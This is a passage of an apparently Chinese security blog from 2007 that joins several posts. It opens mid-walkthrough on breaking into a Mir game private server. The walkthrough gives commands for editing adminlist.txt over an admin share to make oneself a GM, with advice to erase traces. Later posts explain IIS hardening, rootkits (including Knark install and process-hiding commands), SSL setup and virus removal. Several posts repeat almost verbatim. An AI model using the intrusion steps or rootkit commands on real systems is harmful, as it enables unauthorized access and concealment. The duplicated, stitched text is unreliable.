3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
沒有提示,成功了,
這次連復制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
會打開個介面,看看里面有哪些gm,加個吧,自己記得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt還原成只讀隱藏,
好了,大功告成,快打掃腳印吧,別讓人發現被入侵了,
現在,就等著系統重啟了,等不及的話就在第五步讓它重啟,不過這樣太危險了,還是等吧,
第二天注冊個帳號,新建個之前加的人名進去,
/who
當前150人在線
哈,我就是gm了。趕快把自己升級,
@level -1
升級成功,255級,哈哈
再造出想要的裝備,想要什么盡情造吧,
重復上面的把自己從adminlist.txt里刪了,哈哈,好裝備到手了,可以玩了
面記得有位朋友對加強對服務器安全性的解決方法進行了一系列的說明,講得非常詳細,但是我覺得還有很多需要補充的地方.微軟的系統是漏洞和補丁著稱,真正要對服務器的安全配置確實非常困難,考慮的方面也太多了.
今天先講一個方面的內容了,也算是對前面的朋友的進一步補充吧!
前面那位朋友所概述的主要是針對WIN2000系統弱口令的安全設置!他已經說得很仔細了,做到那些,口令這一關差不多了.確實在互聯網的時代,口令真的非常重要.我對國外的主機進行了一系列的測試,就拿有弱口令的系統來說,還有不少!其中也包括了不少中小型企業的WEB服務器,E-MAIL,PROXY服務器都有這種低級的錯誤!
如果說你在這方面做得非常的仔細.但你至少還要仔細研究一下你主機現在所運行的有哪些服務,這些服務代表著什么?你應該很清楚!因為現在黑客軟件,木馬工具,遠程控制軟件大多是以一種服務的形式運行在你的服務器系統里,一般的防火墻,殺毒軟件對其并沒有任何反映的.對于服務形式出現的控制工具.比較難得發現,所以你就必須在服務器里運行的哪些服務非常熟悉.對于陌生或奇怪的服務應該安全設置好.
下面我都WIN2000的WWW(IIS)服務器安全配置略講一下,WWW服務在WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默認安裝的,如果你不需要用2000的WWW服務的話,建議不要安裝.至于添加/刪除你可以控制面板的去掉他的安裝,或者在管理工具/服務里設置WORD WIDE WEB SERVICE啟動類型為手動/禁用
這樣的話系統就不默認啟動改服務!
如果你需要用IIS來建站宣傳一下自己的私服,你就必須按以下方法安全配置好IIS,
在IIS組件你首先要去掉你不需要的SMTP,SNNP,FTP,這樣的話你可以降低你服務器運行所占用的CPU資源,和內存使用率.然后建議你刪除你C:\INTERPUB\目錄下的所有內容!或者更改路徑.在IIS管理器中刪除默認站點,(或者刪除SCRIPTS這個虛擬目錄)因為這個目錄有可寫的權限的.在新建的WEB站點中,設置IIS的權置,必須讓它不能寫入,或運行.因為IIS是默認支持ASP腳本的.然后在IIS中刪除不需要的映射,這個很重要.如果你要支持PHP,CGI腳本的話,你還得配置好PHP.CGI的應用程序的正確映射,禁用或刪除FSO組件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的話,最好要改名!否則的話,你給別人提供主頁上傳的話,你肯定是會被黑的。小心呀!
目前在黑客橫行的互聯網空間中,利用IIS的漏洞,提申自己的權限,而成為AD,這些只是輕而易舉的事情,這不需要花幾天的時間去暴力破解一下口令,像自己架設的WEB服務器有種情況,更是數不甚數了.關于怎利用UNICODE漏洞去提供AD權限的文章,網上太多了,我就不多講了.
這些來說應該是服務器安全防范方面的一個例子而已,真正要做到服務器的安全運行,需要你花大量的時間去摸索.因為這些來說,足以應付一些無聊的.....當然了,你如果需要WEB服務器,我還是建議你去使用AP了.他的源代碼開發,免費,安全性穩定性都比IIS強得多了.
可怕的Rootkit木馬后門
[ 2007-03-25 03:05:43 | 作者: sun ]
在我們獲得了對目標的控制權后,還想保持這種控制權限,于是就出現了木馬后門,Rootkit之類的保護權限的手段。首先來說一下我們常見的應用層次的木馬后門,比如我們常見的遠程控制類的軟件,像國外的Sub7、VNC、netbus,國內的冰河、灰鴿子、黑洞等等,這些大家都很熟悉因此就不詳細介紹了。然而此類后門的可以很容易被發現,現在的殺毒軟件大多都能輕松的查處,即使暫時查不到,用其他手段檢測也不是很困難,現在就我就給大家介紹一種比一般木馬后門潛伏的更深的一類木馬后門--Rootkit。
傳統的Rootkit是一種比普通木馬后門更為陰險的木馬后門。它主要通過替換系統文件來達到目的。這樣就會更加的隱蔽,使檢測變得比較困難。傳統的Rootkit對一系列平臺均有效,但主要是針對Unix的,比如Linux,AIX,SunOs等操作系統。當然有些Rootkits可以通過替換DLL文件或更改系統來攻擊Windows平臺。Rootkit并不能讓你直接獲得權限,相反它是在你通過各種方法獲得權限后才能使用的一種保護權限的措施,在我們獲取系統根權限(根權限即root權限,是Unix系統的最高權限)以后,Rootkits提供了一套工具用來建立后門和隱藏行跡,從而讓攻擊者保住權限。
下面就針對Unix來講解一下傳統Rootkit的攻擊原理。
RootKits是如何實現后門的呢?為了理解Rootkits后門,有必要先了解一下Unix的基本工作流程,當我們訪問Unix時(不管是本地還是遠程登陸),/bin/login程序都會運行,系統將通過/bin/login來收集并核對用戶的帳號和密碼。Rootkits使用一個帶有根權限后門密碼的/bin/login來替換系統的/bin/login,這樣攻擊者輸入根權限后門的密碼,就能進入系統。就算管理員更改了原來的系統密碼或者把密碼清空。我們仍能夠使用后門密碼以根用戶身份登陸。在攻入Unix系統后,入侵者通常會進行一系列的攻擊動作,如安裝嗅探器收集重要數據,而Unix中也會有些系統文件會監視這些動作,比如ifconfig等,Rootkit當然不會束手就擒,它會同樣替換一下這些系統文件,通常被Rootkit替換的系統程序有login,ifconfig,du,find,ls,netstart,ps等。由于篇幅問題,這些系統文件的功能就不一一羅列,有興趣的讀者可以自己去查找,現在Rootkit的工具很多,里面基本都是包含一些處理過的系統文件來代替原來的系統文件的,像tOmkit等一些Rootkit就是比較優秀的了。
防御辦法:Rootkit如此可怕,得好好防它才行,實際上,防御他的最有效的方法時定期的對重要系統文件的完整性進行核查,這類的工具很多,像Tripwire就是一個非常不錯的文件完整性檢查工具。一但發現遭受到Rootkit攻擊,那你就比較麻煩了,你必須完全重裝所有的系統文件部件和程序,以確保安全性。
寫到這里,戰爭似乎結束了,然而更可怕的Rootkit還沒登場,那就是更加恐怖( 這個詞一點也不夸張)的內核級Rootkit。在大多數操作系統中(各種Uni x和Windows),內核是操作系統最基本的部件,它控制著對網絡設備、進程、系統內存、磁盤等的訪問。例如當你打開一個文件時,打開文件的請求被發送到內核,內核負責從磁盤得到文件的比特位并運行你的文件瀏覽程序。內核級Rootkit使攻擊者獲得對系統底層的完全控制權。攻擊者可以修改你的內核,大多數內核級Rootkit都能進行執行重定向,即截獲運行某一程序的命令,將其重定向到入侵者所選中的程序并運行此程序。也就是說用戶或管理員要運行程序A,被修改過的內核假裝執行A,實際卻執行了程序B。現在就介紹一下內核級的Rootkit是如何攻擊Unix系統的。
和傳統的Rootkit不同,Unix的bin/login并未被修改,但所有執行/bin/login 的請求(當登陸系統時將產生)都被重定向到攻擊者制作的隱藏文件/bin/backdoorlogin,這樣當系統管理員使用檢測傳統級別的Rootkit的方法(比如用tripwire之類的軟件檢測文件的完整性)就行不通了,因為/bin/login并沒有被改變。同樣的道理,攻擊者對其他的系統程序也進行重定,這樣你的操作實際就是按照入侵者的意愿執行了。也就是說,表面上你在運行程序A,你也認為自己運行的是程序A,而實際上你運行的是入侵者設定的程序B!
更恐怖的是,內核級Rootkit不僅僅只會進行執行重定向,許多內核級Rootkit還支持文件隱蔽。傳統的Rootkit是通過替換ls程序來實現文件的隱藏,而內核級的Rootkit則是通過對內核的修改來對ls程序欺騙,更加的陰險隱蔽。另外內核級的Rootkit還能對進程和網絡進行隱藏,用戶將得不到真實的系統情況報告。
實現思路:根據系統的類型,攻擊者有不同的方法來對內核進行修改,在N種Unix系統上修改內核最簡單的方法就是利用系統本身的加載的內核模塊(LKM)的功能,因此大多數的內核級Rootkit通過利用LKM動態地將內核更新來提供新功能,新添加的模塊擴展了內核,同時對內核和其他使用內核的所有東西有了完全訪問權。
因此,許多內核級Rootkit都通過LKM來實現。安裝通過LKM實現的內核級Rootkit十分簡單。例如,在Linux上安裝Knark內核級Rootkit只需具有根權限的入侵者輸入命令: insmod knark.o 就行了,模塊被安裝后就等著我們輸入命令了。更妙的是整個過程不需要重啟。通過LKM 實現的Rootkit在Unix上十分流行。我們也常常會通過給Windows平臺打LKM補丁的方法攻擊Windows。
內核級Rootkit 的幾個例子
現在有大量的內核級Rootkit可用,現在我就選幾種比較強大的來跟大家討論一下。
一、 linux 上的內核級Rootkit:Knark
Knark具有各種標準的內核級Rootkit功能,包括執行重定向,文件隱藏,進程隱藏和網絡隱藏。另外,還有不少比較過癮的功能,如:
1、遠程執行:我們可以通過網絡向運行Knark的機器發送一條命令,源地址是假造的,命令被發往UDP端口53,使之表面上看起來像是DNS流量。我們就可以利用這個功能來升級Knark,刪除系統文件或其他任何我們想做的事。
2、任務攻擊:當某一進程在系統上運行時,它總是具有與UID和有效的UID(EUID)相關的權限。另外進程還具有與文件系統UID(FSUID)相關的文件及目錄訪問權。Knark的任務攻擊能力可實時地將進程UID,EUID和FSUID改變。進程在不停止運動的情況下突然具有了新的權限。
3、隱藏混雜模式:同一般的RootKit一樣,入侵者也會在受害者機器上運行嗅探器。我們可以用文件隱藏和進程隱藏將嗅探器隱藏起來。然而,以太網卡會被設成混雜模式,管理員可以檢查到這一點Knark將內核進行了修改,使之隱瞞網卡的混合模式,這將使嗅探變得更加隱秘。
4、實時進程隱藏:Knark可以將一個正在運行的進程隱藏起來。通過發送信號31給一個進程,此進程將消失,但仍在運行。命令kill-31 process_id將阻止內核匯報任何有關此進程的信息。進程在運行時,ps和lsof命令的使用都不能顯示此進程。
5、內核模塊隱藏:Linux中的lsmod命令可以列出當前在機器上安裝的LKM。我們自然不想讓管理員看到Knark模塊,因此Knark包含了一個單獨的模塊modhide,modhide將Knark和自己隱藏了起來。這樣,當我們用Knark攻擊一個系統時,我們首先為Knark.o做一個insmod,然后為modhide.o做一個insmod。這樣不管誰運行lsmod命令,這些模塊都不會被發現。
二、 另一個Linux上的內核級Rootkit:Adore
同Knark一樣,Adore也是一個針對Linux的LKM RootKit。 他包含了標準的內核級Rootkit功能,如文件隱藏,進程隱藏,網絡隱藏和內核模塊隱藏。我們只所以討論Adore,是因為他還有一個非常強大的功能:內置的根權限后門。
Adore的根權限后門可以讓我們連接到系統上并獲得根權限的命令外殼,此功能十分直接了當 ,Adore將此功能巧妙的包含在內核模塊中了。這一招十分難破,因為管理員看不到任何文件、進程、偵聽網絡端口的跡象。
防御辦法:防御內核級的Rootkit的根本辦法是不要讓攻擊者得到你的機器的系統的根本權限(Unix里的root和Windows里的admin),不過這看起來像廢話,目前對內核級的Rootkit還沒有絕對的防御體系。
現在也存在一些Rootkit自動檢測工具,但都不是很可靠。同時內核級的Rootkit也在不斷的發展中,對一些系統來說防御它最好的辦法是使用不支持LKM的內核,Linux的內核就可以設成不支持LKM的單一內核。
傳統的Rootkit是一種比普通木馬后門更為陰險的木馬后門。它主要通過替換系統文件來達到目的。這樣就會更加的隱蔽,使檢測變得比較困難。傳統的Rootkit對一系列平臺均有效,但主要是針對Unix的,比如Linux,AIX,SunOs等操作系統。當然有些Rootkits可以通過替換DLL文件或更改系統來攻擊Windows平臺。Rootkit并不能讓你直接獲得權限,相反它是在你通過各種方法獲得權限后才能使用的一種保護權限的措施,在我們獲取系統根權限(根權限即root權限,是Unix系統的最高權限)以后,Rootkits提供了一套工具用來建立后門和隱藏行跡,從而讓攻擊者保住權限。
下面就針對Unix來講解一下傳統Rootkit的攻擊原理。
RootKits是如何實現后門的呢?為了理解Rootkits后門,有必要先了解一下Unix的基本工作流程,當我們訪問Unix時(不管是本地還是遠程登陸),/bin/login程序都會運行,系統將通過/bin/login來收集并核對用戶的帳號和密碼。Rootkits使用一個帶有根權限后門密碼的/bin/login來替換系統的/bin/login,這樣攻擊者輸入根權限后門的密碼,就能進入系統。就算管理員更改了原來的系統密碼或者把密碼清空。我們仍能夠使用后門密碼以根用戶身份登陸。在攻入Unix系統后,入侵者通常會進行一系列的攻擊動作,如安裝嗅探器收集重要數據,而Unix中也會有些系統文件會監視這些動作,比如ifconfig等,Rootkit當然不會束手就擒,它會同樣替換一下這些系統文件,通常被Rootkit替換的系統程序有login,ifconfig,du,find,ls,netstart,ps等。由于篇幅問題,這些系統文件的功能就不一一羅列,有興趣的讀者可以自己去查找,現在Rootkit的工具很多,里面基本都是包含一些處理過的系統文件來代替原來的系統文件的,像tOmkit等一些Rootkit就是比較優秀的了。
防御辦法:Rootkit如此可怕,得好好防它才行,實際上,防御他的最有效的方法時定期的對重要系統文件的完整性進行核查,這類的工具很多,像Tripwire就是一個非常不錯的文件完整性檢查工具。一但發現遭受到Rootkit攻擊,那你就比較麻煩了,你必須完全重裝所有的系統文件部件和程序,以確保安全性。
寫到這里,戰爭似乎結束了,然而更可怕的Rootkit還沒登場,那就是更加恐怖( 這個詞一點也不夸張)的內核級Rootkit。在大多數操作系統中(各種Uni x和Windows),內核是操作系統最基本的部件,它控制著對網絡設備、進程、系統內存、磁盤等的訪問。例如當你打開一個文件時,打開文件的請求被發送到內核,內核負責從磁盤得到文件的比特位并運行你的文件瀏覽程序。內核級Rootkit使攻擊者獲得對系統底層的完全控制權。攻擊者可以修改你的內核,大多數內核級Rootkit都能進行執行重定向,即截獲運行某一程序的命令,將其重定向到入侵者所選中的程序并運行此程序。也就是說用戶或管理員要運行程序A,被修改過的內核假裝執行A,實際卻執行了程序B。現在就介紹一下內核級的Rootkit是如何攻擊Unix系統的。
和傳統的Rootkit不同,Unix的bin/login并未被修改,但所有執行/bin/login 的請求(當登陸系統時將產生)都被重定向到攻擊者制作的隱藏文件/bin/backdoorlogin,這樣當系統管理員使用檢測傳統級別的Rootkit的方法(比如用tripwire之類的軟件檢測文件的完整性)就行不通了,因為/bin/login并沒有被改變。同樣的道理,攻擊者對其他的系統程序也進行重定,這樣你的操作實際就是按照入侵者的意愿執行了。也就是說,表面上你在運行程序A,你也認為自己運行的是程序A,而實際上你運行的是入侵者設定的程序B!
更恐怖的是,內核級Rootkit不僅僅只會進行執行重定向,許多內核級Rootkit還支持文件隱蔽。傳統的Rootkit是通過替換ls程序來實現文件的隱藏,而內核級的Rootkit則是通過對內核的修改來對ls程序欺騙,更加的陰險隱蔽。另外內核級的Rootkit還能對進程和網絡進行隱藏,用戶將得不到真實的系統情況報告。
實現思路:根據系統的類型,攻擊者有不同的方法來對內核進行修改,在N種Unix系統上修改內核最簡單的方法就是利用系統本身的加載的內核模塊(LKM)的功能,因此大多數的內核級Rootkit通過利用LKM動態地將內核更新來提供新功能,新添加的模塊擴展了內核,同時對內核和其他使用內核的所有東西有了完全訪問權。
因此,許多內核級Rootkit都通過LKM來實現。安裝通過LKM實現的內核級Rootkit十分簡單。例如,在Linux上安裝Knark內核級Rootkit只需具有根權限的入侵者輸入命令: insmod knark.o 就行了,模塊被安裝后就等著我們輸入命令了。更妙的是整個過程不需要重啟。通過LKM 實現的Rootkit在Unix上十分流行。我們也常常會通過給Windows平臺打LKM補丁的方法攻擊Windows。
內核級Rootkit 的幾個例子
現在有大量的內核級Rootkit可用,現在我就選幾種比較強大的來跟大家討論一下。
一、 linux 上的內核級Rootkit:Knark
Knark具有各種標準的內核級Rootkit功能,包括執行重定向,文件隱藏,進程隱藏和網絡隱藏。另外,還有不少比較過癮的功能,如:
1、遠程執行:我們可以通過網絡向運行Knark的機器發送一條命令,源地址是假造的,命令被發往UDP端口53,使之表面上看起來像是DNS流量。我們就可以利用這個功能來升級Knark,刪除系統文件或其他任何我們想做的事。
2、任務攻擊:當某一進程在系統上運行時,它總是具有與UID和有效的UID(EUID)相關的權限。另外進程還具有與文件系統UID(FSUID)相關的文件及目錄訪問權。Knark的任務攻擊能力可實時地將進程UID,EUID和FSUID改變。進程在不停止運動的情況下突然具有了新的權限。
3、隱藏混雜模式:同一般的RootKit一樣,入侵者也會在受害者機器上運行嗅探器。我們可以用文件隱藏和進程隱藏將嗅探器隱藏起來。然而,以太網卡會被設成混雜模式,管理員可以檢查到這一點Knark將內核進行了修改,使之隱瞞網卡的混合模式,這將使嗅探變得更加隱秘。
4、實時進程隱藏:Knark可以將一個正在運行的進程隱藏起來。通過發送信號31給一個進程,此進程將消失,但仍在運行。命令kill-31 process_id將阻止內核匯報任何有關此進程的信息。進程在運行時,ps和lsof命令的使用都不能顯示此進程。
5、內核模塊隱藏:Linux中的lsmod命令可以列出當前在機器上安裝的LKM。我們自然不想讓管理員看到Knark模塊,因此Knark包含了一個單獨的模塊modhide,modhide將Knark和自己隱藏了起來。這樣,當我們用Knark攻擊一個系統時,我們首先為Knark.o做一個insmod,然后為modhide.o做一個insmod。這樣不管誰運行lsmod命令,這些模塊都不會被發現。
二、 另一個Linux上的內核級Rootkit:Adore
同Knark一樣,Adore也是一個針對Linux的LKM RootKit。 他包含了標準的內核級Rootkit功能,如文件隱藏,進程隱藏,網絡隱藏和內核模塊隱藏。我們只所以討論Adore,是因為他還有一個非常強大的功能:內置的根權限后門。
Adore的根權限后門可以讓我們連接到系統上并獲得根權限的命令外殼,此功能十分直接了當 ,Adore將此功能巧妙的包含在內核模塊中了。這一招十分難破,因為管理員看不到任何文件、進程、偵聽網絡端口的跡象。
防御辦法:防御內核級的Rootkit的根本辦法是不要讓攻擊者得到你的機器的系統的根本權限(Unix里的root和Windows里的admin),不過這看起來像廢話,目前對內核級的Rootkit還沒有絕對的防御體系。
現在也存在一些Rootkit自動檢測工具,但都不是很可靠。同時內核級的Rootkit也在不斷的發展中,對一些系統來說防御它最好的辦法是使用不支持LKM的內核,Linux的內核就可以設成不支持LKM的單一內核。
安全技巧教你妙用SSL給IIS也加一把鎖
[ 2007-03-25 03:05:29 | 作者: sun ]
由于NT系統的易維護性,越來越多的中小企業在自己的網站上和內部辦公管理系統上采用它,而且很多都是用默認的IIS來做WEB服務器使用。當然不能否認近來威脅NT系統的幾個漏洞都是由于IIS配置不當造成的,而且可以預見,未來IIS還會被發現很多新的漏洞和安全問題,但只要我們做好合理的安全配置,還是可以避免很多安全隱患的。本文并沒有系統的去講如何全面安全的配置IIS,我只是從利用SSL加密HTTP通道來講如果加強IIS安全的。
一、建立SSL安全機制
IIS的身份認證除了匿名訪問、基本驗證和Windows NT請求/響應方式外,還有一種安全性更高的認證,就是通過SSL(Security Socket Layer)安全機制使用數字證書。SSL(加密套接字協議層)位于HTTP層和TCP層之間,建立用戶與服務器之間的加密通信,確保所傳遞信息的安全性。SSL是工作在公共密鑰和私人密鑰基礎上的,任何用戶都可以獲得公共密鑰來加密數據,但解密數據必須要通過相應的私人密鑰。使用SSL安全機制時,首先客戶端與服務器建立連接,服務器把它的數字證書與公共密鑰一并發送給客戶端,客戶端隨機生成會話密鑰,用從服務器得到的公共密鑰對會話密鑰進行加密,并把會話密鑰在網絡上傳遞給服務器,而會話密鑰只有在服務器端用私人密鑰才能解密,這樣,客戶端和服務器端就建立了一個惟一的安全通道。
建立了SSL安全機制后,只有SSL允許的客戶才能與SSL允許的Web站點進行通信,并且在使用URL資源定位器時,輸入https:// ,而不是http://。
簡單的說默認情況下我們所使用的HTTP協議是沒有任何加密措施的,所有的消息全部都是以明文形式在網絡上傳送的,惡意的攻擊者可以通過安裝監聽程序來獲得我們和服務器之間的通訊內容。這點危害在一些企業內部網絡中尤其比較大,對于使用HUB的企業內網來說簡直就是沒有任何安全可講因為任何人都可以在一臺電腦上看到其他人在網絡中的活動,對于使用交換機來組網的網絡來說雖然安全威脅性要小很多,但很多時候還是會有安全突破口,比如沒有更改交換機的默認用戶和口令,被人上去把自己的網絡接口設置為偵聽口,依然可以監視整個網絡的所有活動。
所以全面加密整個網絡傳輸隧道的確是個很好的安全措施,很可惜的是現在網絡上有關于具體給IIS配置SSL的文章并不是很多,我簡單的摸索了下把我的經驗拿出來給大家分享。
二、操作辦法
以Windows2000服務器版本的來做例子講解的,我們首先需要在控制面板里的填加刪除WINDOWS組件中去安裝證書服務,這個服務在默認安裝中是沒有安裝在系統里的,需要安裝光盤來安裝。
由于我們是第一次配置,所以選擇創建一個新的證書。用默認的站點名稱和加密位長設置就可以了。頒發成功以后我們在頒發的證書里找到剛才頒發的證書,雙擊其屬性欄目然后在詳細信息里選擇將證書復制到文件。我們需要把證書導出到一個文件,這里我們把證書導出到c: sql.cer這個文件里。重新回到IIS的WEB管理界面里重新選擇證書申請,這個時候出來的界面就是掛起的證書請求了。
一、建立SSL安全機制
IIS的身份認證除了匿名訪問、基本驗證和Windows NT請求/響應方式外,還有一種安全性更高的認證,就是通過SSL(Security Socket Layer)安全機制使用數字證書。SSL(加密套接字協議層)位于HTTP層和TCP層之間,建立用戶與服務器之間的加密通信,確保所傳遞信息的安全性。SSL是工作在公共密鑰和私人密鑰基礎上的,任何用戶都可以獲得公共密鑰來加密數據,但解密數據必須要通過相應的私人密鑰。使用SSL安全機制時,首先客戶端與服務器建立連接,服務器把它的數字證書與公共密鑰一并發送給客戶端,客戶端隨機生成會話密鑰,用從服務器得到的公共密鑰對會話密鑰進行加密,并把會話密鑰在網絡上傳遞給服務器,而會話密鑰只有在服務器端用私人密鑰才能解密,這樣,客戶端和服務器端就建立了一個惟一的安全通道。
建立了SSL安全機制后,只有SSL允許的客戶才能與SSL允許的Web站點進行通信,并且在使用URL資源定位器時,輸入https:// ,而不是http://。
簡單的說默認情況下我們所使用的HTTP協議是沒有任何加密措施的,所有的消息全部都是以明文形式在網絡上傳送的,惡意的攻擊者可以通過安裝監聽程序來獲得我們和服務器之間的通訊內容。這點危害在一些企業內部網絡中尤其比較大,對于使用HUB的企業內網來說簡直就是沒有任何安全可講因為任何人都可以在一臺電腦上看到其他人在網絡中的活動,對于使用交換機來組網的網絡來說雖然安全威脅性要小很多,但很多時候還是會有安全突破口,比如沒有更改交換機的默認用戶和口令,被人上去把自己的網絡接口設置為偵聽口,依然可以監視整個網絡的所有活動。
所以全面加密整個網絡傳輸隧道的確是個很好的安全措施,很可惜的是現在網絡上有關于具體給IIS配置SSL的文章并不是很多,我簡單的摸索了下把我的經驗拿出來給大家分享。
二、操作辦法
以Windows2000服務器版本的來做例子講解的,我們首先需要在控制面板里的填加刪除WINDOWS組件中去安裝證書服務,這個服務在默認安裝中是沒有安裝在系統里的,需要安裝光盤來安裝。
由于我們是第一次配置,所以選擇創建一個新的證書。用默認的站點名稱和加密位長設置就可以了。頒發成功以后我們在頒發的證書里找到剛才頒發的證書,雙擊其屬性欄目然后在詳細信息里選擇將證書復制到文件。我們需要把證書導出到一個文件,這里我們把證書導出到c: sql.cer這個文件里。重新回到IIS的WEB管理界面里重新選擇證書申請,這個時候出來的界面就是掛起的證書請求了。
分析 病毒殺不死的原因
[ 2007-03-25 03:05:18 | 作者: sun ]
原因:
1.病毒正在運行。由于Windows保護正在運行的程序,所以殺毒軟件是無法殺死正在運行的病毒。即使是真的殺死了病毒,電腦正常關機時內存中活動的病毒還會再復制一個病毒到硬盤上; (建議在安全模式下殺毒)
2.病毒隱藏在系統還原的文件夾“_restore”中;
3.刪除注冊表中RUN多余的啟動項。
解決辦法:
1.在Windows中殺毒前首先得中止病毒進程。對于WindowsXp/2000,可以使用任務管理器(Ctrl+Alt+Del三鍵齊按)來查看當前所有的進程,而對于Windows98/Me,則可以使用“黑客入門工具箱”或ATM來查看進程。確定哪個是來歷不明的就停止掉,該過程俗稱“殺進程”。不要怕出錯,因為不會對電腦造成任何損壞,最多就是死機。注意,殺進程的操作有時得進行兩次才成功。有的病毒有兩個進程,互相保護,殺掉一個則會被另一個發現并恢復。此時應先把該病毒在注冊表中的啟動項去掉,然后用突然斷電的方式重啟電腦(不讓病毒對系統有任何保存的操作),再進入安全模式殺。
2.在Windows中使用專殺工具殺毒。得使用最新的殺毒版本(至少要更新病毒庫)。
3.禁用系統還原。在WindowsMe中禁用方法是∶鼠標右鍵點擊“我的電腦”-屬性-性能-文件系統-疑難解答-禁止系統還原。在WindowsXP中禁用方法是∶控制面板-系統-系統屬性-系統還原-在所有驅動器上關閉系統還原。然后用軟盤或U盤啟動電腦,在dos下刪除_RESTORE文件夾。
4.在Dos下殺毒不存在殺不死的問題。一般的殺毒軟件都可以制作軟盤版(含至少3張軟盤),用第一張盤啟動(CMOS中必須設定軟盤啟動在前)后按提示陸續放入其它盤就可以直接殺毒了。瑞星的軟盤版需要用鼠標確定殺毒的驅動器,而金山毒霸的軟盤版則默認全機查殺。實際上用金山毒霸在DOS下殺毒還可以更簡單,用普通軟盤啟動盤或U盤啟動盤啟動電腦后,先換到C盤,然后進入金山毒霸的目錄(命令:cd kav或cd kav5,與版本有關),然后輸入KAVDX,回車就開始殺毒了。
1.病毒正在運行。由于Windows保護正在運行的程序,所以殺毒軟件是無法殺死正在運行的病毒。即使是真的殺死了病毒,電腦正常關機時內存中活動的病毒還會再復制一個病毒到硬盤上; (建議在安全模式下殺毒)
2.病毒隱藏在系統還原的文件夾“_restore”中;
3.刪除注冊表中RUN多余的啟動項。
解決辦法:
1.在Windows中殺毒前首先得中止病毒進程。對于WindowsXp/2000,可以使用任務管理器(Ctrl+Alt+Del三鍵齊按)來查看當前所有的進程,而對于Windows98/Me,則可以使用“黑客入門工具箱”或ATM來查看進程。確定哪個是來歷不明的就停止掉,該過程俗稱“殺進程”。不要怕出錯,因為不會對電腦造成任何損壞,最多就是死機。注意,殺進程的操作有時得進行兩次才成功。有的病毒有兩個進程,互相保護,殺掉一個則會被另一個發現并恢復。此時應先把該病毒在注冊表中的啟動項去掉,然后用突然斷電的方式重啟電腦(不讓病毒對系統有任何保存的操作),再進入安全模式殺。
2.在Windows中使用專殺工具殺毒。得使用最新的殺毒版本(至少要更新病毒庫)。
3.禁用系統還原。在WindowsMe中禁用方法是∶鼠標右鍵點擊“我的電腦”-屬性-性能-文件系統-疑難解答-禁止系統還原。在WindowsXP中禁用方法是∶控制面板-系統-系統屬性-系統還原-在所有驅動器上關閉系統還原。然后用軟盤或U盤啟動電腦,在dos下刪除_RESTORE文件夾。
4.在Dos下殺毒不存在殺不死的問題。一般的殺毒軟件都可以制作軟盤版(含至少3張軟盤),用第一張盤啟動(CMOS中必須設定軟盤啟動在前)后按提示陸續放入其它盤就可以直接殺毒了。瑞星的軟盤版需要用鼠標確定殺毒的驅動器,而金山毒霸的軟盤版則默認全機查殺。實際上用金山毒霸在DOS下殺毒還可以更簡單,用普通軟盤啟動盤或U盤啟動盤啟動電腦后,先換到C盤,然后進入金山毒霸的目錄(命令:cd kav或cd kav5,與版本有關),然后輸入KAVDX,回車就開始殺毒了。
個人電腦防黑的安全準則
[ 2007-03-25 03:05:06 | 作者: sun ]
在這個網絡時代,每個人都可以輕易地從網絡上得到各種簡單易用的黑客工具,于是,眾多“黑客”就誕生了。這些人多半是一些無所事事的網蟲,天生就有破壞的欲望。于是無聊+表現欲促使他們拿著從網上找來的各種“炸彈”之類的東西開始在浩大的網絡中尋找可以炫耀一下自己本事的獵物。當你在網絡上沖浪,或是正在同別人聊天時,機器突然死機了或是藍屏了,網頁不能瀏覽了,QQ登錄不上去了,這時你就該想想自己是不是中毒了,或是被黑了。那么為防止我們的個人電腦被黑客攻擊,我們使用電腦時該遵循些什么樣的安全準則呢?
密碼安全準則
不要使用簡單的密碼。不要簡單地用生日、單詞或電話號碼作為密碼,密碼的長度至少要8個字符以上,包含數字、大、小寫字母和鍵盤上的其他字符混合。對于不同的網站和程序,要使用不同口令,以防止被黑客破譯。要記錄好你的ID和密碼以免忘記,但不要將記錄存放在上網的電腦里。不要為了下次登錄方便而保存密碼;還有,要經常更改密碼和不要向任何人透露您的密碼。
電子郵件安全準則
不要輕易打開電子郵件中的附件,更不要輕易運行郵件附件中的程序,除非你知道信息的來源。要時刻保持警惕性,不要輕易相信熟人發來的E-mail就一定沒有黑客程序,如Happy99就會自動加在E-mail附件當中。不要在網絡上隨意公布或者留下您的電子郵件地址,去轉信站申請一個轉信信箱,因為只有它是不怕炸的。在E-mail客戶端軟件中限制郵件大小和過濾垃圾郵件;使用遠程登錄的方式來預覽郵件;最好申請數字簽名;對于郵件附件要先用防病毒軟件和專業清除木馬的工具進行掃描后方可使用。
IE的安全準則
對于使用公共機器上網的網民,一定要注意IE的安全性。因為IE的自動完成功能在給用戶填寫表單和輸入Web地址帶來一定便利的同時,也給用戶帶來了潛在的泄密危險,最好禁用IE的自動完成功能。IE的歷史記錄中保存了用戶已經訪問過的所有頁面的鏈接,在離開之前一定要清除歷史記錄;另外IE的臨時文件夾(\Windows\Temporary Internet Files)內保存了用戶已經瀏覽過的網頁,通過IE的脫機瀏覽特性或者是其他第三方的離線瀏覽軟件,其他用戶能夠輕松地翻閱你瀏覽的內容,所以離開之前也需刪除該路徑下的文件。還要使用具有對Cookie程序控制權的安全程序,因為Cookie程序會把信息傳送回網站,當然安裝個人防火墻也可對Cookie的使用進行禁止、提示或啟用。
聊天軟件的安全準則
在使用聊天軟件的時候,最好設置為隱藏用戶,以免別有用心者使用一些專用軟件查看到你的IP地址,然后采用一些針對IP 地址的黑客工具對你進行攻擊。在聊天室的時候,還要預防Java炸彈,攻擊者通常發送一些帶惡意代碼的HTML語句使你的電腦打開無數個窗口或顯示巨型圖片,最終導致死機。你只需禁止Java腳本的運行和顯示圖像功能就可以避免遭到攻擊了,但這時你就沒法訪問一些交互式網頁了,這需要你個人權衡。
防止特洛伊木馬安全準則
